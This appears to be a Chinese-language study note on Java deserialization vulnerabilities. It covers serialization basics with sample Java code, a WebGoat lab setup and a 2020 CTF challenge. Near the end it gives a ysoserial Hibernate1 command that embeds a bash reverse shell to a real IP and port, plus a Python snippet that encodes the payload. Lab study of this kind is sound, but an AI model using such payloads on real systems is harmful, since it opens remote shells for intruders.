
涉及知识
概念
Java序列化和反序列化
我们需要保存某—刻某个对象的信息,来进行一些操作。比如利用反序列化将程序运行的对象状态以二进制形式储存与文件系统中,然后可以在另—个程序中对序列化后的对象状态数据进行反序列化恢复对象。序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。
序列化(Serialization)
将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
Java序列化是指把Java对象转换为字节序列的过程(便于保存在内存、文件、数据库中),ObjectOutputStream类的writeObject()方法可以实现序列化。
反序列化
从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
Java反序列化是指把字节序列恢复为Java对象的过程,ObjectInputStream类的readObject()方法用于反序列化。
Java中序列化和反序列化的API实现

实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的(用transient关键字修饰的属性除外,不参与序列化过程)
在Java中,只要一个类实现了java.io.Serializable接口,那么它就可以通过ObjectInputStream与ObejctOutputStream序列化.
一个类的对象要想序列化成功,必须满足两个条件:
该类必须实现 java.io.Serializable 接口。
该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
如果想知道一个 Java 标准类是否是可序列化的,可以通过查看该类的文档,查看该类有没有实现 java.io.Serializable接口。
利用
检测
修复
与前面漏洞修复类似
演示案例
Java反序列化及命令执行代码测试
定义一个Person类如下,由于其实现 java.io.Serializable 接口,而且所有属性都是可序列化的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package com.company;
import java.io.Serializable;
public class Person implements Serializable { private int id; private String name; private int age;
public int getId() { return id; }
public void setId(int id) { this.id = id; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public Person(int id, String name, int age) { this.id = id; this.name = name; this.age = age; }
@Override public String toString() { return "Person{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
|
序列化示例
用于测试序列化的带啊SerializationTest.java如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package com.company;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.ArrayList; import java.util.List;
public class SerializationTest { public static void main(String[] args) throws IOException { Person p1 = new Person(1, "jack", 19); Person p2 = new Person(2, "mary", 22); List<Person> list = new ArrayList(); list.add(p1); list.add(p2);
FileOutputStream fos = new FileOutputStream("D:/person.txt");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(list); os.close(); System.out.println("serialization success"); } }
|
执行上述代码,得到序列化之后的对象,保存在D:/person.txt中

反序列化示例
用于测试反序列化的代码DeserializationTest.java如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.company;
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.ArrayList; import java.util.List;
public class DeserializationTest {
public static void main(String[] args) throws IOException { FileInputStream fis = new FileInputStream("D:/person.txt"); ObjectInputStream is = new ObjectInputStream(fis); List<Person> list = new ArrayList<Person>(); try { list = (List<Person>)is.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); }
is.close();
for (Person person:list){ System.out.println(person.toString()); }
}
}
|
执行上述代码,读取D:/person.txt并生成其反序列化结果输出

WebGoat Javaweb靶场反序列化测试
本地Java环境搭建WebGoat失败,因此选择在Linux虚拟机中使用docker搭建靶场,详细参见[WebGoat靶场搭建.md](../Part0 补充内容/02_工具使用/WebGoat靶场搭建.md)
参考上述搭建过程进行搭建,本地靶场地址为:http://192.168.137.133:8080/WebGoat
勾选Java反序列化类漏洞,显示如下(已开启翻译)

==///////////////////////////==
1
| java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-d367e379d9-1.jar ysoserial.GeneratePayload Hibernate1 "bash -c 'exec bash -i &>/dev/tcp/121.4.97.34/5812 <&1'" > payload.bin
|
2020-网鼎杯-朱雀组-Web-think Java真题复现
涉及资源
https://github.com/frohoff/ysoserial/releases
https://github.com/WebGoat/WebGoat/releases
https://github.com/NickstaDB/SerializationDumper/releases/tag/1.12
1 2 3 4 5
| import base64
c=open("payload.bin","rb").read() cc=base64.urlsafe_b64encode(c) open("payload.txt","wt",ecoding="utf-8").write(cc.decode())
|